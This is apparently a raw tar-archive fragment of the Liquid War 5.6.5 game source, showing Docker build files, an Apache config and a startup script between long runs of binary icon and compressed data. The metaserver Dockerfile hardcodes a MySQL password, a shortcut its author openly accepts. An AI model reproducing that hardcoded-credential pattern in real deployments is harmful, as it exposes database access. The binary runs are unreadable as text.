Mkc5Ƃ~ƥiDtR*tAM'}uK=u>zg&&Ljrg&x(%ZHDPRoo$~VDo\-ҿ͆tx ~M-v,,JF" ab Cy2/a\=ʟɁ躂hr%'DgTO9:&N [1>,',RIHOiKʩ3O gەpc˞!,.IG.Ya?pT&H0@MZH:967>+6UTZ(c)t]R?Uԙ7m? 1dUa`ލ\dmؓŜL&S$9D(ўj}k#I= #10K~_CxˆUfCt#<=g1؊~[*䢿iL'HEuyq!*g%\ ¼(}ǹ^)qH56usyMQBē*^zL ."Fɇ V5:o :0\2y45 w:ЅA 7!5 > "vVxO%)3=KГixY71Xw/Tu4E{Jy=<4Ah0D},tQqK^sgXp"UA5,u{(&0'L K[;]w;љX>ٴFWyJ"n ;gLt} II=Buxuk?6OsInFv"%/B;0*p/-s9nj4?hvJEmnȒ$AoeYϧ/2wEҙUc4Rs=hCڤ`vnW)#-KJ?9%3!Cʟz]\7kV9ە@Sl&ZпJZ"+>I}yOݳyl=-(@E +6;րH + ]G|K/5<+YoƜ:fWU1&W>5cb '![:6W)% MɽZtWY'Mq cAA7'mQE@9L|l`D(r֏jI6IzZzwi,Q߷oU4[k`kcwC:{:,lx&gˣBIC /6.x;F*LLIP"G+u1UX (! @%"$t !=%4BFP4=t<)nDis͜HU؈##j4-V1O)/\jB ̝aJ'!_oY𛦐eu26,Y|hr}n1b֥9"se[o7H TxX=Pw31zza}RB3G}';m?ZՊ%R'Gq(KH08.?bE@ ê8X7zC 4Ѻwel$S`@N/ #.֭i8ByW'+zEH2r(0̐#Ϡu*Z*wޢЫ)P~ơI }/)i?tMyNl^׳ 4jʎ)İ8mua/B 9W#.}̩wgGAaQoҼ[j~I]4 { :u`u_r{#LlcCAw;no~-(+nӍMc\PpBU|׮F nK+Ȁx*?9mh= w;J֕$%E.Jagh"lB;'J7YZ>ιBny-uV{tdA!p~`Dk'Wy%W2/t Y'(WHL `X=׌qd@[v%I*[ L4Hb+7o 5O(IPV-ד^\K`oĨ۞䁎v(3 M@FgrhW!%sE;֐qh$h>?*=Ôb/k0v#q3#|^ 2eIiZ1S w!7bgƟ\3dmΗLhN%}}v`х?rmAx^5kc+8ery(B{ ':0 `OT"ȦjjQDDs*0$;~Sk(I[d7Ӯw$@^I`1w!z2kf2" uV ZLwWK SB6m%h{5R1e!rTQ٠z?jNsNO,z<7X61<_XkK.b2b 2(&ׄmp_IvJDR-Z!2oM'7t^uҵH[|&Nl27.bLOlLHTb\Ry]09;f ƩL&bDzɅHJpN.Dܬ3江__K xj0= oy!8V]#'Yx3 ҋ<R߀=N!a9/g&)8A58ClågIؿN馳(vRȘ=1'wJbMJy ihyTṳ5}3N98C}q&z-Yr$d@'If[12CZUbҳ`"oԭNI \Q1hw $gN=O1GOgd9 4k.*7؉<}CWcL+^TwQUgص`u<[H襸e #Aۥ/a.ϋ"()CZ[87 *0dDѵ!+Jb)Ӄ߽j(s9aGT-@ܛ9`pJj1z_0q'nݥ;N&?^ ^(HzK"mż/ߨڞU7t_ъ8܊Rh&g - ɾĎFv躪 f,זс) Knc~[&+̌PnYct mp`)Դ "I6k_̶"H[SOPYG )0&C.6i!=yOvxY[3;>?9yx 5gr*8aG.=Etfk*NuJX.и-1֬:ihQa1F/u%EPIY?G5iR-"$_={ZSV=Yc<cqzz 7;\L2tP@b,V9OJs8w6ԢE7xt$3G:X۫u_iGr1}e7}W7Xʜ0vo1ǥ7* -|Ʋ1=TXb$x+^ܶTt|=RCA 8à9G-[lBǸlMoo+3Se+dΞ%z0#&F1BrQT`mk*H7e_.8|Q(84CYW ifGORB\  =èLݜIY˓抋IuR~6Q:;WRz>ܥ1ЂhY'Pmi[~*$PYcCNJ~,>Gc*LeCەV8v3gRӐh3sgbMPyp6&V  u+lJgnEؽlvHb+$\<l}~YwBhC4? u_o.-~ж~vwQ~В+oo7溩.!xmK+û)yV(@?|YUV%A'\ie9H~*pk,,ZW15X|INyʔ7s' Cn1UFZqc\3 3Ϡɹ#x ;.]G0M7?//znVUFTCr X6Rk3_Bŭl+DC2"e]Ne]lLg1-2k[,ݏLMଞЋr j+ w(Ϟ)۩_!Q8CxZ P2=s H}i6W#Ny �KgU3>@Lu #<:+{\H[lUZTɓܒRbX\qi-c)UN:=ۚ!x?܊kVy 9>?2EvWz %!xL< JI`o+PCca2-h`sm\WHWmi8ak'>riXvF"H}۲>F,uQB[jEq=VH},ZBJU,xDHZ֢`y тnXM#ng~JB3fLy\:`cBj} n>_UX7dWS Mu&@Z.ZLIj׃[vsD(VjuQ.APa9jԙ9/~bl'| TDCwyd,@Ԫk<)~[a鍮T20bFkF1-$kFIdn+G+;:)0P mɹM`%@T66$ϖ!zK6 D ug1n4ruK0_n*'ba KժW*. "Sj ĘSkXb^QMi^Ŧ y[Kw$Pn=}>;Ooi)+q0JȣK뙂묫:7J'Uf_܎ XLgǯ'ȎB&ꃪjQD9@/(EU2WIɒڼ c'2|Q]2hDaR&32 $IfO\$e6eӝ.OG,t:p jK: ]$159 ?uH`TO\thn=D I2kr@2+p|1 J#|CԺhPg h\{Aˍ^*?fl{EbX $ɦ7A@4?N1" Rs9~7Yޚ=Vly9dG``x=!dTNX5Ra=mc@E' E,K9q9~h<_gTUrw(˱NvRP9|S|WANK܅@: uֳƭ 2&;#VmoT5\G_ٟSB֒6ބlqUn {t!ϋX(*v( ZâCXH=inɺ_QPRjfVW85,t.wAE2/cS+VIݴV:f^!Ӕ#3kɣ3q|M M>Æ^ v”;Z8rJ A6brm搠/fi-j, )ΉxCo=Hjdm T;uj׊jjSm ਑!;|H&z,0ˌ 8_ 'ꑖOb B)`e˜i ˙BqS>3F (8 *`h٨D j*:Y}I|g {4A!vD;-%bGS1*V~9n V E4Dw\ ³ve@S3GzTwm0\JQɨB)fCݡ`FK{u"U;Aߜ:}]dq/rS-+=yN\LοȤOՙgoCo Db*&)8i) 2X' e^./~OϠ?z"Jow1,&KaI pN]sѺ P͐`*c7A'^=.c"ԐBjK\ԉ9eO !a>TL7K~/|:C1OY"t -謭-:%p+9ҼRX}XB:V00IGWbY xfMyy*aY7Ã=fu>ՏQ,2Z53Iso2 +E}͖~Ww_ 'sD:b{_^7vLT7kkAJE4Gh1@ P6'V&f!Kt#e #*0mx^ aRW ܧk7LG))Xn#-D' )>s;٤.٘Zط{gI@ӌvWPJ Jz@v*0WwM8c&if2V`e 00N2=Ef*K}{qAF5S Y@ Lq{\!{8^y"YHW7|a[WH's"'ܴ_%36`@kWg *3B- wiѫzqF L {kǻdD: \G"2FP%:~Ŭ_))Wllj:+4]-髒ua:qm\0G)S#Y6ז ,^L]7m TKMU$=~KPgfڏwwO>@0~5yd*_Vv [0Ɉ[&9uEuR=m )kZI*4(~!8\;j Kl?6M!U{@e`/O}/p`ga&ˮmA~>j݇W8q3=EIJD |p(&"{3Z8qO%=7\f }צ%'rGft (/a *5ިBƨ, ?+s}ϴ{  m 4z?H _H qv;YP#k1a8R37qYbH'K)=gp/=ڦP$'Nӽoj9JbӪS| -v9ſwGt[Mzϯ Ľ&@Wq`,<-AX'ƷZ\S$)X*{Y폎P=!rkyX}85#B,'*,>L7`4 Fįd{׈ίVAkv碬ABQڞp:rjí7< CHRzΈ2 5dQoCdS eѾ6G'jP}+"e8nNQ2eU pH?xj<K0ptg\GWE6PrL?S j6Kv;,?ǽvxYfplyxfjnT WU9h+J.\~ns5Uω 긮 >nJlsW-P%;4*: u 0Dn#cP0)YvipX=$9"4'%!(rM I"[Y)ҞqxY"x)Y&ΦeEPCDD}Z#>UFX`-֕.ИQtmY9a s6Yl I!:'iJQ,;r[l'r3tG}:AGٰZ L!Ga@v?˵NCaiu]K-Vǧ;.AH'Яe{.iwl|~S jא#N4c7f\K$ƔhwMqb8>hPC~ "56 fo%Ln{E?et~t!Pb;ۂӲ&!={z]9c4 Z >xc3(H1lLHBJ3Y6֭,@35ٺ5>w[2ckMv>; =wU 8A: AP$ֱB5 ْkxjU&R q%툏-b0Sqm$}b#%oKcCe2gE*KbZ02)t|q ilFwQ_]-mL.in 1MKͥCRIYmL ء×ۙ fbОp:@\۫oLMT=v2qK^PSe%jN 3\yʫoB*pk\„kzXG(.ٴ })S[z}3?oȺo2jUJv;n% /}CKym{Q52xBtJBD<ѹT@e>HZ=1w:uLfO0$]1c*V=9"'kɿR5ݱqGE7:R疫ꘀC*Sɽ"'uiOW$\O60@nM.)*eV=֞DEAZ8QרnKȘx %w]A(NCEFp)Ӟ`N=]=]I .(ZVY-t!c>z~‹[d8pӅwZqx7sn~DP`úB6>(V -ͧySnv ʳ)-'.m%,׹3 *VcCGLV<'|@#ɢq eppXDǷ*g[Ȁ? l#(Qʿ+O7S q BGn1Vgrϵ^[)>auYyGS[IY d!\9*?Mmx=a8|}j\/Psڲu8TRv e8Ԙݎ!4jBHjÕ=2RSmOd2rd}jrH7o]zO;r_@Ӆee~Ht!!@uOlj/B끰c>Ypsҧ~@mDJm&ی2~ф|}7<|B|B;A8wg+IU9@g|'9=1!Zkl"T@;eJԪiPrL[zzo#!N#tItpp s`2zxӖNFcB6K{Fپ .yx1պ@]b@K\#qe2;z!LZ\ü x/@ 3 }(?҉O5=sE so%FK:?PG^0l&]x칿h7czoX|I72k[BviJ|:xsp5 ɺ{{ S# ![hEÑpU"pa]ծǦ utXlk3ap.!ӑ,2(A"f/>(z`_JV- fMÿǞcb' (0^`ܙ+J>P}v`Qs0,<%3к8*CHU\޷&[_t&Lϗtհibg*gn\Ea"|L=W V9,!>EKD\_@hDШ٭ظaЩه7ܣ=7%|"HeTrE{CQL9B:B28 XV@ .eS[B1Fz68VUY![ f聵@d)zwJ.pV ™1S0L Ù%_I+;DJf[lxTư➂m5s"N>⾃w[Bf '@@pOLnN;:Í%s4J=6 )D} Vm54Hʁ!Դ1zvbB:o#H$ZwU_ />2JoXTQfu+;v D4 Y>}IpHki Eˑ|VblĿgG-[b & C %Ѩ53uC?I L鹌_<;aR[0*0{_-POc.OʵhyS-mI;01pb!M?KZf#fZ` *tlH) |afp} ܔpm_9 A M~jU wBx]&x}MҎ`2'Ҭl'BlhP FN>V/A $e{tx}4&"0NkFs0B88] ׶B^iC[D:W ~R7 c74TI 0i娬g`oJP$[qo!WE-9`L"Ш^IZHbVn5 \I"2X{bJM~M֡P=dG|Q-+FIENKD?/?P Q7s*竰)^g%ͦlM6L\0фf\| X.փ]/۲QIUza`J?-å1IUr[rl AA! s) ?$0h3mqJ"g;2!-bصH}4ĵ@b5Q2Uv/u>'if(t f(y hPݿqnm?mn?mle~,Xee~+I"_i}r#W̞>K{yvJjpW[Z.,46in%Ȉϵ#[I a[qWo^0^pD>Y-z^sd^%ƇVtYVܰtAիpڰA/N-&0IzX_ΠcQx!Q=($v\2Q&ҮYXKh3c2 M  c+Z ؗ?gM!s*T MH ͱ~\.M6V /|uO4|FݑWNmǸ(廬>xPI-7* KPVaؽj̿-HPӍY)Q.1lQv.;z 7bx &݌9# rI!!4%;~,C)xm'Y'#+ ڶu%k b̓.%-=D)0,߲֩会g(hm,hK)v}@)ϙ!A [>YS?ZiN?bBJ8zGQTM:UIHlkϠĹ!F_^elMR&, k3ۦ FJ:?/Q1ծazJM3&.*qϲ<W{u{]p^ nPu,ɿ)><s7g$ºAmɽ"&bO'7)g ?IvPEWHIR !$zǖ=l>nPg& oN`6ٻhqBC%4ëXRxM5lrԼ۶ʟ @*5/x.Kߥa=/,vXb|ٰsģ"%MH3J@hÆ-PJb,esкD5}T2~}J7 >!Ȍ`qfcgcN/+@"u?쁗:g`keEaxGw;aqcWsA@ZȞ_)_m!aS&&zqa`]㘤ڑ2Th E&Ap_"pFR]tmRfՒjIޕMn ӄ,D4߳-]&gR:&_B(i ;Q{P6s,ץR{hK DTł幨}[QI@t 1D]_v^`#> sgU}7*T5 10'CC\4yOl6v|1Wu@}jh:qمbx faOq9ѝu᱈Jn!JL#̍lМ-T {+t4+Bim{ ͩG'`skN'#|M7WRҝJW23t1c5Bq/fA'xkBP7mG֑*I?Pӕ1vhԁrUs7ndf1xF\OI›keΖ5;N82b =~TV!9Wɝ;}Be+&fDk=@5a.T*-&ox( 6O^eMM.)jSf$aPDx1rï%4bT!=KAzf-Psr6$r"t|C7YˠF.;:3' zkα?NҸ {@3X-O0W^zTà\<(Tk՝@HnV7:yөr5p>[F]B&cҟ\NY eVa[ċTIEJ-=hh/:-fa5w Kӿe8GߥY |z-vRJ, ,R]tSbgeu =zeM)@u0(icnV Bliquidwar-5.6.5/misc/docker/0000775000372000037200000000000013407756104015343 5ustar travistravisliquidwar-5.6.5/misc/docker/Dockerfile-server.in0000664000372000037200000000354413407756104021254 0ustar travistravis# Liquid War is a multiplayer wargame # Copyright (C) 1998-2018 Christian Mauduit # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # # Liquid War homepage : https://ufoot.org/liquidwar/v5 # Contact author : ufoot@ufoot.org FROM debian MAINTAINER Christian Mauduit "ufoot@ufoot.org" LABEL package="liquidwar" version="@VERSION@" org.ufoot.liquidwar.os="debian" org.ufoot.liquidwar.type="server" description="Liquid War server image, contains a running instance of the program, listening on default port 8035. Homepage https://ufoot.org/liquidwar/v5" ENV DEBIAN_FRONTEND noninteractive RUN (apt-get update -y && apt-get upgrade -y && apt-get dist-upgrade -y && apt-get -y autoclean && apt-get -y autoremove) # minimal build requirements RUN apt-get install -y gcc make liballegro4-dev RUN apt-get clean # our build RUN install -d /usr/local/src COPY liquidwar-@VERSION@.tar.gz /usr/local/src/liquidwar-@VERSION@.tar.gz RUN cd /usr/local/src && tar xzf liquidwar-@VERSION@.tar.gz RUN cd /usr/local/src/liquidwar-@VERSION@ && ./configure && make && make install # run server on default port EXPOSE 8035 USER nobody ENTRYPOINT /usr/local/bin/liquidwar-server -2 -public -comment Public_Liquid_War_5_server_running_in_Docker_instance liquidwar-5.6.5/misc/docker/010-metaserver.conf0000664000372000037200000000132013407756104020661 0ustar travistravisListen 0.0.0.0:8053 ServerName localhost ServerSignature Off ServerTokens Prod #Header Unset "X-Powered-By" RewriteEngine On RewriteCond %{REQUEST_METHOD} !^(HEAD|GET|POST) RewriteRule .* - [F,L] ServerAdmin admin@localhost ServerName localhost DocumentRoot /var/www/metaserver AllowOverride None Order allow,deny allow from all LogLevel warn ErrorLog /var/log/apache2/error-metaserver.log CustomLog /var/log/apache2/access-metaserver.log combined liquidwar-5.6.5/misc/docker/Dockerfile-metaserver.in0000664000372000037200000000525213407756104022121 0ustar travistravis# Liquid War is a multiplayer wargame # Copyright (C) 1998-2018 Christian Mauduit # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # # Liquid War homepage : https://ufoot.org/liquidwar/v5 # Contact author : ufoot@ufoot.org FROM debian MAINTAINER Christian Mauduit "ufoot@ufoot.org" LABEL package="liquidwar" version="@VERSION@" org.ufoot.liquidwar.os="debian" org.ufoot.liquidwar.type="metaserver" description="Liquid War metaserver image, runs a metaserver on a LAMP stack (Linux/Apache/MySQL/PHP) listening on port 8053. Homepage https://ufoot.org/liquidwar/v5" ENV DEBIAN_FRONTEND noninteractive RUN (apt-get update -y && apt-get upgrade -y && apt-get dist-upgrade -y && apt-get -y autoclean && apt-get -y autoremove) # typical LAMP install RUN apt-get install -y apache2 mysql-server libapache2-mod-php7.0 php7.0-mysql RUN apt-get clean # set up Apache COPY 010-metaserver.conf /etc/apache2/sites-available/010-metaserver.conf RUN cd /etc/apache2/sites-enabled && ln -s ../sites-available/010-metaserver.conf . RUN cd /etc/apache2/mods-enabled && ln -s ../mods-available/rewrite.load . COPY metaserver.tar.gz /root/metaserver.tar.gz RUN cd /var/www && tar xzf /root/metaserver.tar.gz # set up Mysql, note the clear password, as the MySQL server is sandboxed # within Docker, revealing this is not that bad, one could typically imagine # a no-password through UNIX socket connection, but doing this with an exposed # password represents the same threat and is much easier to handle. Use at your # own risk anyway, this is not a stronghold, you've been warned. COPY tables.sql /root/tables.sql RUN /etc/init.d/mysql start && mysqladmin create metaserver && (mysql < /root/tables.sql metaserver) && (echo "GRANT SELECT, INSERT, UPDATE, DELETE ON metaserver.* TO www IDENTIFIED BY 'dd02c7c2232759874e1c205587017bed';" | mysql) && (echo "FLUSH PRIVILEGES;" | mysql ) && echo "done" ; /etc/init.d/mysql stop # startup script RUN install -d /usr/local/bin COPY lamp.sh /usr/local/bin/lamp.sh # run server on default port EXPOSE 8053 ENTRYPOINT /usr/local/bin/lamp.sh liquidwar-5.6.5/misc/docker/lamp.sh0000775000372000037200000000235613407756104016641 0ustar travistravis# Liquid War is a multiplayer wargame # Copyright (C) 1998-2018 Christian Mauduit # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # # Liquid War homepage : https://ufoot.org/liquidwar/v5 # Contact author : ufoot@ufoot.org #!/bin/sh if /etc/init.d/mysql start ; then if /etc/init.d/apache2 start ; then tail -f /var/log/mysql/error.log & tail -f /var/log/apache2/access-metaserver.log & while [ $(ps auxwww | grep mysqld | grep -v grep | wc -l) -ge 1 ] && [ $(ps auxwww | grep apache2 | grep -v grep | wc -l) -ge 1 ] ; do sleep 1 done fi fi exit 1 liquidwar-5.6.5/misc/docker/Dockerfile-build.in0000664000372000037200000000334113407756104021040 0ustar travistravis# Liquid War is a multiplayer wargame # Copyright (C) 1998-2018 Christian Mauduit # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # # Liquid War homepage : https://ufoot.org/liquidwar/v5 # Contact author : ufoot@ufoot.org FROM debian MAINTAINER Christian Mauduit "ufoot@ufoot.org" LABEL package="liquidwar" version="@VERSION@" org.ufoot.liquidwar.os="debian" org.ufoot.liquidwar.type="build" description="Liquid War build image, contains all the requirements to build the program, and has it built once. Homepage https://ufoot.org/liquidwar/v5" ENV DEBIAN_FRONTEND noninteractive RUN (apt-get update -y && apt-get upgrade -y && apt-get dist-upgrade -y && apt-get -y autoclean && apt-get -y autoremove) # complete build requirements RUN apt-get install -y gcc make liballegro4-dev python texinfo texlive texlive-latex-base RUN apt-get clean # our build RUN install -d /usr/local/src COPY liquidwar-@VERSION@.tar.gz /usr/local/src/liquidwar-@VERSION@.tar.gz RUN cd /usr/local/src && tar xzf liquidwar-@VERSION@.tar.gz RUN cd /usr/local/src/liquidwar-@VERSION@ && ./configure && make && make install liquidwar-5.6.5/misc/globe.icns0000664000372000037200000014165013407756104016051 0ustar travistravisicnsèics#H??????????????is32jj Mxrv]|nksv j^k{zos []W_ su{s B]ZTW`i`mU *>V_ceeYUI4AKLNQIZjj rh YBCEr wABDG~rM_AAFN_sc@BKScBEVj}M`x`Zpy |dYk}{qt [^X` iori *&9KXZP>2; &;957=B=D6 &6;>@@84,'.//3,4jj pf YBBDpvABvU^ABJCRb@@A BA@A CwD?@ VU>?HwXB>[ F=;J di~~{ld 0CPQF2#* )(%'+/+1% &*,--($!"#!s8mk F~~F g諕g╕88888ؕ8gg33ؽllDDICN#??il32 mm UUr󬞘lg]w|\h{}p[hxaVji[}fv|byzdamw{vu`V_cn||uj}}gS[ipsrojbZsSX]^^\YSzUmVTR[zUUztrUGL|TIIC97Ot~{~|YGDVdBJC?B=DJQZZTUGGDSZif.VWJNHE@>HZ]W\dWhynP>fnamblinpg~vf_khM=-;OafhswlxkxqbW]OED+5:@KKT\Y^S`Y\ORXS2>@GHRPNQNSSOHYZ 1FFIGPONWODFmm lVUVlUQBBCUULBCPhAABCEFQlfKA BBEHKvsm}CA CGLOWnktv@@A DIORU_o}A@@ABEKRSWfzG@ BGOXW]sf?@@DLWbdqQ>AHSanu^ALZhuZN\iuyKXeqz{~~ZP[fo{xv~|YNX]l|~wk|xeR[jrttqkc[pSY^__]ZT{UkWTS\zUUzuuU-78/2.,)(.9;7:?7ALE0'@E=E>DBEFAOJ@6:2+' $(//598;4<8:1362''--42131442,65 *+,,20/63(* {{mmjUlUQBCCUUKABCCO}fAABCM`MjKABCnUBZCABIXEBBy@@AB[A@@ABFF@AO`?@AKN>?@M Y>??@vyT?@??qwp=?WwwQ>?>>[ ~wvL<>s~w{qV<>==A |~d;=;p U_@<;GoUUpggU 2r~ s4 :bokjkkmppg>"%+!%/6BC72'!%(/+''!#  (*')-'.61! .1+1,0/12.85-*0/" #+..3506062,')#"!%)'*%+()#$&# %##$#%%#&$#"!%!l8mkPuuP#uu#YY wԳw r֗rPकPėg֗g=ԕ=]]~㞕~ꞕ痕~~]]8ԕ8 Ε TT==[赕[[[vԚvLĞLν``44ttLL$xؠx$ich#H??????????ih32qUvwyy|Uvw yy{||zmwywy~|{ymUvwy wy~{wyyU~vwywwy {||{ywwyyvwz}yywwywywwyww{ r|wywyu u{yy~ulat_Wv䖓_~]vb]t}zzZ[q}|v}~zYVmx~vqu{tUKeq{wmhkv~?^E[jt|yi]m?uwCM^jsvz~hbu vOCKZemwoy oCCGZjv}~vvhCCPdt~jooCDYq~oj rooCOq}n{oJjzymoOVjrw}~|sg}Uo`EXckpstu}~{un`oUoBEPZafgksy~}{wsogXyymo@BCHMP\emsuutsplid\K!pmmooR@BBCLWaijkiifa]XQLkmmot~|BJUZ\]][YUPKDwokpVAACFJKKJGDAAY tmwkBAD~yrOA@ku~]O\yop|~xU 8(Qmw||{{r~ wy~tX7D78%& Ydfmt|~oovrwyp[4-+AH535))&'9WddhjfjjkmmSF1/:;-\P994../--)+-)$.,(6,74,?/B7KSWa9=797743517.FBCMMdJjLgY]k[URB"aPX\\[PaXUfQblSjUsTj_P\`9,!)(?`^ZfWY_hV`hQo]gQe[IE6,7"/)+>:Q[_[_[^X]ZWTGO3>I@>9$+-46,=5-7F7/H>0GF0GE/BKFD%&65+;@.6DE56H@0DI25FJ3'2<34?E93FD<5GI26AF 9?1->I=0BL>-Uvwy|Uvw yy{||zmwy|{ymUvvwy {wyyU~vwywwy {||{{ywwyvp501Pwywwyww{/01Swyywu101cwwyyw~u//01XI//012345>FIX_/0 2466CTRU_{/023689K_W[]V./00258:?ELV`fhdzJ./148@@AFPbow|}r?W.//036:@DA?JZmx?uw-.037>EHDDSduw@-.16=DLPLTit p--..04:AISZYhwwg--/26?GP[cgpyjoo//3:EMWaiowqroo/4>GOWaipwp|omm4>GOW`gnu|omC;FMT]djq|~uiUmkkZ6@IPX_elv}xpbpUok68AHQW\eoy~zuqiZ}{k7:@KXcklmkjhc^YRMjo{y@@AJW\^_^][VRLDwjfkTBBDGJLLKHEBAZ rh~pfBABAF#wppoppOAku`P_zoi||~nU Jcfhrppo~ prw{ppfM & T^^_dfh_j_ckdhojfV&(.M^\^^\^^_ccL3"!4-!! %& +/17#  #%##"2(:52<6-)$(&&$""$$(&&,+8*;*:35<30/% 6-24-7209-7=/<0A0<6-36  #6539136;16:-?49.94)' # .4536442541/(-#*$#"')#('('%*'$!%%&)$&)')"#&(&"))$& "#)"%+"Uvw{Urwvw{~zvmvw~|wwmUrttvwy~~wU~tvwy{yw wtn50011Pw{/01Qwu01cvw~u//01VG/02781?_/0=;11_x./0CD100U./02@D30zJ../0110zI./0RF./0?P-./b?un-./bo=-./1f-./Hvo]-.ojff.-.0jff-.--wdff-.-ddf:,-vUdT,-bUjd-,-,xvd*,hdA+,9ccddjtt-,pfcfE,Kpdymc,+3vomo>+cu~R?Qtof{y~||fU E\^\mkkj~ mortdd^G QXXWX\\X^WZ^Z^d_\Q (IXWUWUX \\E)"   $  &" '$ %'&!"(" $ "!!$ &%(' +'#"$ $"!& !#& $&)"&&! "#"#!#!"!     h8mk TTGG## //AB[[ kᕕl~Ǖ~((.ҕ/ bbgg䕕NMǕ 𕕕'(A((((6&(((((1(((((*(((((((((G̤ $(((`( &((q "'`Daaxx((it32VUksuxuyxzyx~}UUltuxwy {||UHsuxwyy{yy{{||~~Hjuvwywyy{|~~|sUqwywy{|~~|{yqUUqxwywywwy{|~{yyxqUmxwywywy{||{{yxmiuwyywy{|~{{yxxUqvvwyywy{{||{{ywwyywxvUUwtvwywwywyy{|~|{{ywwywywU{vvtvwywyywy{{|~||{{ywyywwyx{U{vwywywwy{||~||{yyw|UUwvwywywwywy{y{yyw yywwyywUj|wvw uwy{}~~|yywywwywywy wwyw|jj|wv wwtw{}xwywyywwyywwywyywyywwywwyw|jj|vsru}~{ywyywywwywyywyw ywwyw|jU rpz zwyywywwywywwyywyww~UU vr} |ywywywywwywy~U ot~ {yw| lu~ ~y{ywyw~ kt~ {y{yy~H hq||{~H klv~} qdpyH Zir{H a]kt|Qamu|!iUenv}ͲTYfov}ٮM[hpv} 𼞔rN]hpv}빝}^P]hpv|̩|U8VQ^hou{~}UJQ]gotz!~|}wFQ]fnsy~|zz} y{H{FP[elrw|!}zww{}{sH{FOZdkqv{"~{wuuwz|~{o{FMXaioty}$|yursuwz{}|q{zDJV^gmrv{"}zvrpqstvy{}utrDHS\djpty}"~{wsomnpqsuwz~|skCFOY`hmrv{~~|ytpljkmnpruzzrDEKU]ejosw{~}zurmhfhijmpv}~|DDHQY`glquy|~}yupkeabegls{}vKCFLU]dinruy{}~{vqia^^ahov~|oVCDHPX_ejnruwz|}~}wqi_[\ajqzx4veCCEKSZ`fknrtvyz{|}}~~zrh]Z^emt| x4|mDCCFMU[afjnqstvwyz{}|th\\bjqy~ |oSCCDHOV\afiloqrsuwz}~vh]`hqy |ofBCCEHOV[`ehjlnpsw{~yj_eoy |ooOC+EHOUZ^aegkosw{~|ofly vohCEGMRW[^dinsw{~tmu ~|ooVCDFJOU[ahmrv{~{t~ {vomMCEIPX_flqv{~| x|oomFC'FLT\djpuz~ |wvoohFCDGPX`hotz~ ~v}|ohLACEJT]fmsz~ ypvoUACFOYbkryzrwt|o_CDIT_iqy~zsktkvobDCCFO[gqy~ysj|xU{ohFCDJXfqz}yslzUvofCCGUeqy~ |wrk{obBFRdou{~~zvqi{oSDP`jquz}|ytpjpttomFLZelqty{} ~{wsnhetU{oRGS^fkosvy{}~ ~|yuqlf]U{o`DLV^ejnqsvwz{}}~~|zvsojd[}{okBFNW^dhknqsuvwyz{ |~|zvtqmhaY}j{oNCGOV\aeiknpqstuuv w{~~}{zvtrokf^Vjj{o_ACGNTZ^aehjlmopqqr sw{}~}|zyvtrplhb[Rr{oKBCFKQVZ^adfhijklm%osvy{}~~}|zywusromje_XNzHrmo fBBCEINSVZ\_abeffgghkortwy{}~~~}|{zywutrpomjga\THyH{mmoZ@BBCFINRUWZ[]^__`bgknpsuwy{|}||{{zywvusrpomkjgd^XPH{{moU@BDFHLORTUWWXY\afilnqsuwyzyywwvuutrqpomkjhfd`[TKQ{rmoU@BCEFHKLNOPRW\`dgjmoqsuttssrqponlkihfda_\WOFb{{moZBCDEFFGKQVZ^afiknppqppoonmlkjigeda_][XSJC}{~rmofI@B CFJOTX\`dgjkllmlkkjihgfdb`^]ZXVTNFL{~rmo_IAB EINSW[_befghggffedb`_]\ZXVSQNHCi{~rmoprm[ODB DGMRVZ]_`abaa`_^]\ZYWUSPNLHDFykmopv{~|]CB CGLQUXYZ[\]\\[ZYXWUSQOMKHFDBfx~pkm oopw|yIA BBCFKOQSTUVWWXWWVVUTRQONLIGECBAL~wpkmopt||N@A CFHJLNOPQQR QQPONMKIGFDCBApUU|pkmpwwV@ABCDFFHIJKJJIGFEDCBAYx|pjjkmpywpHABBCDDEDDCBAH{vojkow~yrogDA@F|{vpkpw|vrokjjdDA@K|U ~|wwtppojhdGA@C[j~|vtr{^CA@C[u!~~|YC@?Jd}{!~~}fOC@AJYt{!~s_\O\_s{~~wy|~~jIgpww{~~~{~yqI9 <$27Zkjkr{~|~ {r{yeD3:C7883(Bfhmrvw|yt|{y{w{{vrov~ {tw{wy|~ ~tooE*704D950903,' (Ujkjkpyrp{wtwr{vopjm{|{vw~~wrtw|~vrpoory~woW*(/,0B>.I?:644,& $3\cdfjkkprrvr{tp|ro{|tmp~~pjmr~wpopw||wwrhB$&&*.+.?D8?97881,%!&'% "4Yddf6jjmmrvp|tp~|pmw~wokp{~wrrv{~yvrof[C44/--++,1AFBQ[/76531.,**&  4Wcddfd2hmjpom{ypr|~toory~~wprw||wwywpjdjdB$'19930,*-9IKFWh;81200352,%!&&%&%#1?Xfd cfdfokjprkfjopo 